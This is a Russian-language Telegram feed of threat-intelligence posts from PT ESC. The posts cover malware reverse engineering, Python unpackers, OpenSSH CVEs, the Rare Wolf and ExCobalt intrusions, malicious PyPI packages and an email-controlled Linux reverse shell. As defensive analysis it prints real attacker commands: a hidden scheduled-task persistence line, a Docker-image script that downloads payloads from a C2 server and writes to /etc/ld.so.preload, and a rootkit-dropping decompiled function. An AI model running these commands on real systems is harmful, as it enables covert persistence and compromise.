ESCalator
6.56K subscribers
477 photos
1 video
18 files
190 links
Tips and tricks от команды экспертного центра безопасности Positive Technologies (PT ESC)
Download Telegram
Статический резолв импортов 👨‍💻

Динамический резолв импортов по хеш-суммам в ВПО — тема заезженная, но для проведения статического анализа необходимо разметить имена и прототипы API. Чтобы из того, что представлено на скрине 1, получить то, что на скрине 2, и не мучаться с ручной разметкой, можно написать скрипт IDAPython.

😠 На примере DodgeBox рассмотрим резолв, который заключается в вычислении адреса API-функции и помещении его в глобальную структуру. Реализация — на скрине 3.

Алгоритм хеширования опустим, поскольку здесь он не столь важен. Перед началом необходимо подготовить словарь с именами функций WinAPI и их хеш-суммами. Для этого выберем те библиотеки, что используются в бинаре. Здесь есть имена DLL в открытом виде, но иногда — только хеш-суммы, в этом случае можно составить словарь из всех системных DLL. Наш словарь — на скрине 4.

Далее убеждаемся, что члены в структуре заполняются последовательно, чтобы автоматически извлечь из кода хеш-суммы, имена модулей. Внимание — первый член структуры пропускается. Создаем структуру нужного размера (скрин 5), чтобы она вместила все функции.

Чтобы извлечь хеш-суммы и имена библиотек, пишем функцию, которая пройдет по всем вызовам get_proc_by_hash и извлечет ее аргументы.

def get_hashes(resolve_API_addr, get_proc_by_hash_addr):
result = []
func: ida_funcs.func_t
func = ida_funcs.get_func(resolve_API_addr)

cur = func.start_ea
while cur < func.end_ea:
if get_operand_value(cur, 0) == get_proc_by_hash_addr:
result.append(get_args(cur))
cur = ida_search.find_code(cur, SEARCH_DOWN)

return result


Функция get_args поднимается на несколько шагов вверх от операции call и извлекает аргументы.

def get_args(call_addr):
func_name_hash = None
lib_name = None

cur = call_addr
True:
if print_insn_mnem(cur) == "mov" and print_operand(cur, 0) == "r8d":
func_name_hash = get_operand_value(cur, 1) & 0xFFFFFFFF
elif print_insn_mnem(cur) == "lea" and print_operand(cur, 0) == "rcx":
lib_name = ida_bytes.get_strlit_contents(get_operand_value(cur, 1), -1, STRTYPE_C_16).decode()

if func_name_hash and lib_name:
return lib_name, func_name_hash

cur = ida_search.find_code(cur, SEARCH_UP)


На выходе get_hashes получим список, который используем для заполнения структуры API. Основная функция будет выглядеть так:

struc: ida_struct.struc_t = ida_struct.get_struc(ida_struct.get_struc_id("API"))

funcs = get_hashes(0x180007A90, 0x1800078E0)
for i in range(1, len(funcs) + 1):

lib_name, func_name_hash = funcs[i - 1]
member: ida_struct.member_t = struc.members[i]

func_name = get_func_name(lib_name, func_name_hash, winapi_hashes_dict)
if func_name:
ida_struct.set_member_name(struc, member.soff, func_name)
func_tinfo = get_func_tinfo(func_name)
if func_tinfo:
ida_struct.set_member_tinfo(struc, member, 0, func_tinfo, 0)


Функция get_func_name проста в реализации, она находит в словаре имя API по хеш-сумме. А вот get_func_tinfo более интересна: она создает объект, содержащий прототип функции, который мы также применим к члену структуры.

def get_func_tinfo(func_name):
tinfo = ida_typeinf.get_named_type(None, func_name, 0)
if tinfo:
type_s = tinfo[1]
field_s = tinfo[2]
t = ida_typeinf.tinfo_t()
t.deserialize(None, type_s, field_s)
t.create_ptr(t)
return t
else:
return None


Функция ida_typeinf.get_named_type получает информацию о типе, который содержится в Type Library (*.til). Вызов выглядит так:

Python>get_func_tinfo("GetWindowsDirectoryW")
UINT (__stdcall *)(LPWSTR lpBuffer, UINT uSize)


Однако на самом деле функция возвращает объект типа ida_typeinf.tinfo_t.

Структура API после вызова скрипта представлена на скрине 6. Если применить ее к глобальной переменной, резолв превратится в то, что видно на скрине 7, и можно будет удобно анализировать бинарь статически, не запуская отладчик.

Есть, конечно, соблазн написать функцию make_beautifully, которая сама вычитает офсеты, создаст структуру и члены внутри нее, но об этом в другой раз.

#tip #reverse #idapython
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥2310👍10
Инструменты для работы с Python 😦

Злоумышленники не стесняются использовать Python для своих целей. LazyStealer, упакованная PyInstaller, Python-бэкдор в ShadowPad и модули для Pupy RAT тому доказательство. Кроме того, задачи на снятие пакеров с дальнейшим исследованием встречаются на соревнованиях capture the flag.

Команда Supply Chain Security собрала памятку по работе с инструментами PyInstaller, py2exe и со скомпилированными файлами .pyc.

PyInstaller

Один из самых популярных инструментов для упаковывания проекта в исполняемый файл под Windows, Linux, macOS. Библиотеки, относящиеся к проекту, дополнительно сериализуются с помощью стандартной библиотеки marshal в PYZ-файл.

Для работы с PyInataller можно использовать один из первых проектов — pyinstxtractor. Marshal не реализует обратную совместимость между своими версиями, поэтому для распаковки PYZ-файла pyinstxtractor требует запуска на той версии Python, которой был упакован PyInstaller.

Решает этот нюанс pyinstxtractor-ng: он использует библиотеку xdis, реализующую (де)сериализатор под Python 2.4–3.13, в силу чего для полной распаковки больше не требуется конкретная версия Python. Автор pyinstxtractor-ng выпустил веб-версию, переписанную на Go, она работает локально в браузере. Оба проекта активно обновляются и разбирают последние версии PyInstalller.

py2exe

Решение, нацеленное на упаковку проекта в исполняемый файл под Windows. Чуть-чуть не успевает за тенденциями и пока не умеет работать с Python 3.12 и 3.13. «Убийцей» пакера должен был стать unpy2exe, но последний коммит в master семь лет назад оставляет чувство печали. Автор этого решения так же, как и автор решения pyinstxtractor, предупреждает, что версии (хотя бы major) установленного Python и конечной нагрузки должны совпадать.

Файлы .pyc

На уровне Python используются для ускорения запуска кода и оптимизации импорта модулей. Для превращения обратно в исходный код есть несколько проектов, и если такое возможно, стоит сравнивать полученный декомпилированный код из одного проекта с декомпилированным кодом из другого.

1️⃣ Uncompyle6 и decompyle3 — две утилиты от автора вышеупомянутого xdis. Uncompyle6 покрывает версии Python до 3.8, decompyle3 — c 3.7 до, частично, 3.9. Автор просит помочь с проектом.

2️⃣ Семейство unpyc (unpyc3, unpyc37, unpyc37-3.10) — поддерживает точечно версии 3.3, 3.7, 3.10.

3️⃣ Pycdc — многообещающий декомпилятор, написанный на C++, также регулярно обновляется и старается поддерживать все версии байт-кода Python. Порой имеет сложности с разбором конструкций, поэтому...

4️⃣ Pycdas — дизассемблер из проекта pycdc, помогает попробовать разобрать файл с расширением .pyc, когда декомпиляторы уже бессильны 🐱🐱🐱

Существующие онлайн-проекты для файлов .pyc (осторожно, отправляют файлы на сервер):

Decompiler.com — мультифункциональный, «под капотом» uncompyle6.

PyLingual.io — многообещающее решение, находящееся в бете. Файлы версий 3.11, 3.12, 3.13 открывает без проблем.

Happy hacking!

#ti #python #tools #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
👍19🔥1510❤‍🔥1
Что произошло с безопасностью OpenSSH в 2024 году 🚪

Взглянем на таймлайн:

• Весна. Бэкдор в xz-utils (CVE-2024-3094). В результате его внедрения были скомпрометированы системы с systemd, в которых в OpenSSH есть зависимость liblzma, отсутствующая в нем изначально и самим OpenSSH напрямую не используемая (то есть скорее речь об атаке на цепочку поставок этих дистрибутивов, а не конкретно на OpenSSH).

• Июль. Критически опасная уязвимость «состояния гонки» для систем на базе glibc, получившая название regreSSHion (CVE-2024-6387) и представляющая собой перерожденную CVE-2006-5051.

• Все тот же июль. Опубликована схожая проблема, получившая идентификатор CVE-2024-6409.

• Август. Еще одна, уже специфичная для FreeBSD, CVE-2024-7589.

Что это вообще было

Исследователи утверждают, что успешная эксплуатация «состояний гонки» позволяет получить RCE на подверженных системах. Более того, regreSSHion — главный баг (затрагивает привилегированный процесс sshd) — ставит под угрозу безопасность множества SSH-серверов с glibc. Эксплуатация уязвимости не требует особой конфигурации сервера (проблема актуальна и для конфигурации по умолчанию). Но при этом публичного PoC нет до сих пор.

Мы решили разобраться, так ли опасны эти «состояния гонки» и какие механизмы в sshd призваны не допустить эксплуатации этой уязвимости или хотя бы уменьшить ущерб в случае успешной атаки. Попутно провели обзор и остальных уязвимостей OpenSSH прошедшего года.

🔣 И теперь все это с технической базой и экскурсом на 30 секунд доступно в нашем блоге на Хабре. Enjoy!

#CVE #escvr
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥20👍11🥴3🤡2👻211
Rare Wolf готовится к охоте 🐺

Команда киберразведки PT ESC стабильно отлавливает новые серверы управления, используемые группировками, а также инструменты, задействованные в атаках. На днях мы наткнулись на артефакты, которые говорят о том, что группировка Rare Wolf находятся на стадии подготовки новых атак: выявлены семплы вредоносной нагрузки и новые подходы к закреплению.

Группировка Rare Wolf впервые была описана коллегами в конце 2023 года. В сентябре 2024 года изменения в поведении атакующих (уже под другим названием — Librarian Ghouls) были описаны другими исследователями. Изначально в ходе атаки собирались данные офисных документов и сессий Telegram, а в прошлом году группировка начала охотиться за файлами, связанными с программами автоматизированного проектирования и разработки, такими как AutoCAD и SolidWorks.

🔗 Новая цепочка атаки — смесь предыдущих атак с новыми инструментами и подходами, тестируемыми группой.

Жертве направляется файл .scr/.exe, мимикрирующий под легитимный документ. При открытии исполняемого файла создается все тот же скрипт cmd, но под новым именем, find.cmd, и запускается документ-заглушка. Скрипт отвечает за запуск следующих этапов атаки: скачивание инструментов для последующей атаки, настройку данных для отправки найденной информации по почте и установку AnyDesk. Среди новых шагов мы приметили следующие.

Использование ngrok:

C:\Users\admin\AppData\Roaming\Windows\driver.exe x -r -ep2 -hplimpid2903392 C:\Users\admin\AppData\Roaming\Windows\pas.rar ngrok.exe C:\Users\admin\AppData\Roaming\Windows\ /y


Добавление новой запланированной задачи Find update для запуска ngrok в скрытом режиме с помощью утилиты NirCmd:

schtasks /create /tn "Find update" /tr "C:\Users\admin\AppData\Roaming\Windows\nircmd.exe exec hide C:\Users\admin\AppData\Roaming\Windows\task.bat" /sc onlogon /rl highest /f


Изменение рабочей директории: теперь вместо скрытой папки C:\Intel используется %APPDATA%\Windows.

Модернизирован также файл bat.bat. Теперь он отвечает за сбор данных о системе, их отправку на почтовый сервер и запуск нового ssh.ps1, который открывает 22-й порт и запускает сервис sshd. А добавленный в автозапуск task.bat, возможно, написанный с помощью нейросети (судя по комментариям на русском языке в коде), отвечает за запуск ngrok и его скрытие с помощью NirCmd, чтобы пользователь не видел консольного окна.

В предыдущих атаках rezet.cmd собирал файлы по расширениям (doc, docx, pdf и т. п.), а bat.bat искал данные, связанные с криптокошельками. В новых семплах этих действий нет.

Кроме того, в тестируемой злоумышленниками атаке появились файлы ps.ps1 и bat1.bat. Они не запускаются в текущей версии атаки, но тоже предположительно написаны с помощью нейросетей и могут быть предназначены для запуска вручную. Файл bat1.bat сканирует сеть на наличие активных устройств, находит общие папки Users и копирует вредоносный файл .SCR в директории Downloads, Desktop и Public. Затем он запускает ps.ps1, который ставит в автозагрузку запуск Edge и удаляет предыдущий скрипт.

🕵️ IoCs опубликовали в Telegraph.

#TI #APT #Malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥21👍12👏52😁1
Злоумышленник опубликовал вредоносные пакеты deepseeek и deepseekai в Python Package Index 🐳

Команда Supply Chain Security департамента Threat Intelligence PT ESC обнаружила вредоносную кампанию на фоне популярной темы последних дней. Злоумышленник, создавший учетную запись bvk в июне 2023 года и до этого не проявлявший активность, 29 января 2025 года зарегистрировал вредоносные пакеты deepseeek и deepseekai.

Найденные пакеты после установки крадут переменные окружения при вызове консольных команд deepseeek или deepseekai (скриншот 2). Переменные окружения обычно ценны тем, что в них могут содержаться чувствительные данные, используемые в рамках функционирования приложения, например данные доступа к объектному хранилищу S3 или другим ресурсам инфраструктуры.

Примечательно, что код создан с использованием ИИ-ассистента, на что указывают характерные комментарии (скриншот 3).

Мы оперативно уведомили администраторов репозитория, пакеты были отправлены в карантин и вскоре удалены. Несмотря на быструю реакцию, их успели скачать 36 раз пакетным менеджером pip и средством зеркалирования bandersnatch, еще 186 раз — при помощи браузера, requests и других средств.

Сохраняйте бдительность: злоумышленники постоянно ищут такие удачные названия для осуществления атак в опенсорсе 🐱.

IoCs:

пакет PyPI: deepseeek
пакет PyPI: deepseekai
c2: eoyyiyqubj7mquj.m.pipedream.net


#ti #pypi #pyanalysis #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥25👍108❤‍🔥2
(Ex)Cobalt в контейнере 🛂

В ходе реагирования на компьютерный инцидент команда PT ESC IR установила факт закрепления злоумышленников в Docker-контейнерах.

Анализируя дамп с узла, на котором установлен Docker, мы обнаружили образцы ВПО в директории /var/lib/docker/overlay2/[a-z0-9]+/diff/usr/bin/.+. Она содержит слои контейнеров:

/var/lib/docker/overlay2/[REDACTED]/diff/usr/bin/processes — Reverse SSH
/var/lib/docker/overlay2/[REDACTED]/diff/usr/bin/checks — ExСobalt Reverse SSH


Стало понятно, что мы обнаружили заражение внутри одного из контейнеров. Для дополнительного анализа мы получили Docker-образ, на основе которого создавался контейнер. Пример команды:

docker save myimage:latest | gzip > myimage_latest.tar.gz


Анализ истории показал, что атакующим удалось модифицировать образ путем выполнения двух команд: COPY, которая копировала файл update в образ, и команды запуска скрипта /bin/bash /update. Затем модифицированный образ был загружен в локальный Docker Registry.

{
"created": "2023-08-11T01:13:12",
"created_by": "/bin/sh -c #(nop) COPY file:[REDACTED] in / "
},
{
"created": "2023-08-11T01:13:18",
"created_by": "/bin/sh -c /bin/bash /update"
}


Далее в одном из слоев образа мы обнаружили самоудаляющийся sh-скрипт update:

#!/bin/bash
rm -- $0
apt update
apt install wget curl -y
apt-get clean autoclean
apt-get autoremove --yes
wget -q [REDACTED]:8000/bin/rev_sh_dns -O /usr/bin/checks
wget -q [REDACTED]:8000/bin/rev_ssh -O /usr/bin/processes
wget -q [REDACTED]:8000/lib/libssoc.so.3h -O /usr/lib/x86_64-linux-gnu/libssoc.so
chmod +x /usr/bin/checks /usr/bin/processes /usr/lib/x86_64-linux-gnu/libssoc.so
echo "/usr/lib/x86_64-linux-gnu/libssoc.so" >> /etc/ld.so.preload


Скрипт подгружал образцы ВПО с управляющего сервера в образ, а также для закрепления прописывал их в /etc/ld.so.preload.

/usr/lib/x86_64-linux-gnu/libssoc.so — образец ExСobalt Launcher запускает процессы /usr/bin/checks и /usr/bin/processes.

🧐 Расследование показало, что атакующие модифицировали Docker-образ создаваемых контейнеров и таким образом не только закрепились в скомпрометированной инфраструктуре, но и получили контроль над вновь создаваемыми контейнерами.

Чтобы предотвратить подобные компьютерные инциденты, рекомендуется проверять ОС, а также функционирующие на устройствах Docker-контейнеры и конфигурационные файлы / скрипты, участвующие в сборке.

IoCs:

leo.rpm-bin.link
mirror.dpkg-source.info

e49b72e58253f4f58f9c745757eb3ab0
3bd5560b50c751c91056bfe654f9bc70
ef587305a462161682f74d0cad139caa


#ir #ioc #malware
@ptescalator
🔥239🆒7👍1
«Прикрепляю данные во вложении» 💌

У нас в гостях сегодня небольшой, но от этого не менее интересный и экспериментальный реверс-шелл для Linux. Хотя реверс-шеллом сейчас сложно удивить, этот образец все-таки смог привлечь к себе наше внимание.

Примечателен он следующим:

• Его «дистрибутив» содержит в своем составе модуль ядра.
• Управление реализовано через электронную почту.

Рассмотрим его детальнее: все файлы объединены в один дроппер, который извлекает и запускает основные компоненты шелла. Всего их три:

1️⃣ messenger.py — транспорт. Этот скрипт получает команды от злоумышленника и отправляет на С2-сервер результат их выполнения, используя IMAP и SMTP.

2️⃣ agent.elf — основной агент. Постоянно опрашивает транспорт для получения команд, исполняет их в интерпретаторе командной строки, сохраняя вывод для последующей передачи на С2-сервер.

3️⃣ maldrv.ko — LKM-руткит. Используется для повышения привилегий агента.

int __cdecl main(int argc, const char **argv, const char **envp)
{
if ( getuid() )
{
fwrite("Agent must be run as root\n", 1uLL, 0x1AuLL, stderr);
return 1;
}
else
{
extract_file("/root/.agent.elf", agent_elf, 30400uLL);
extract_file("/lib/modules/5.15.0-67-generic/kernel/drivers/misc/maldrv.ko", maldrv_ko, 446880uLL);
extract_file("/root/.messenger.py", messenger, 5295uLL);
inject(shellcode_out, 136uLL);
call_all_plugins("/root/.agent.elf");
return 0;
}
}


Всю работу по инициализации выполняет небольшой шеллкод, который инжектится в дочерний процесс. Именно он загружает руткит в ядро через вызов finit_module и запускает агент.

🙌 Модуль maldrv.ko перехватывает системный вызов execve. При передаче определенного аргумента он повышает привилегии вызывающего процесса через commit_creds, после чего агент активирует транспорт для приема команд и передачи их результатов (см. скриншот).

📧 Транспорт messenger.py использует заданный в скрипте почтовый ящик. Для получения команд он раз в 10 секунд забирает из папки inbox письма с темой Command, полученные не ранее текущей даты, забирая таким образом только свежие команды. Саму команду он ищет в части письма с MIME-типом text или plain, записывая ее в файл /root/.output/.output.txt. После получения письмо с командой удаляется из почтового ящика.

Результаты выполнения команд, которые записываются отдельными файлами в каталог /root/.output/, архивируются в ZIP‑файл, который шифруется AES в режиме CBC. Затем «частями» по 40 КБ этот файл отправляется на заданный почтовый ящик. Если в списке почтовых аккаунтов несколько учетных записей — отправление каждой из частей зашифрованного архива распределяется между ними.

👨‍🎓 Очевидно, что наш гость — это некий учебный проект, proof of concept такой вредоносной программы. Да и ограничения IMAP и SMTP не позволяют быстро обмениваться большими объемами данных с С2-сервера. Однако почтовые протоколы довольно часто использовались и в реальных вредоносных кампаниях — достаточно вспомнить активное применение SMTP в Agent Tesla в кампании SteganoAmor.

По каким признакам можно распознать такую активность? Стоит обратить внимание на периодичность коммуникации с почтовым сервером, а также на объем данных с узла, передаваемых по указанным протоколам.

IoCs:

SHA-256:
40BB351F8B5AC6A02CD2A31D1683CC1ADB4C0C949346F51C2746F023004C5361
E908E1F4B799E1B5F38FCC8E6B1300E3604A101CF367D3431D82EEDDD1A02A05
68B3C2E7EF26C0432D7DEBFEB8CBCEE2F557A52B5662B3B3B49DCE21E0B288A4


#ti #malware #tips #ioc
@ptescalator
👍20🔥1710🆒1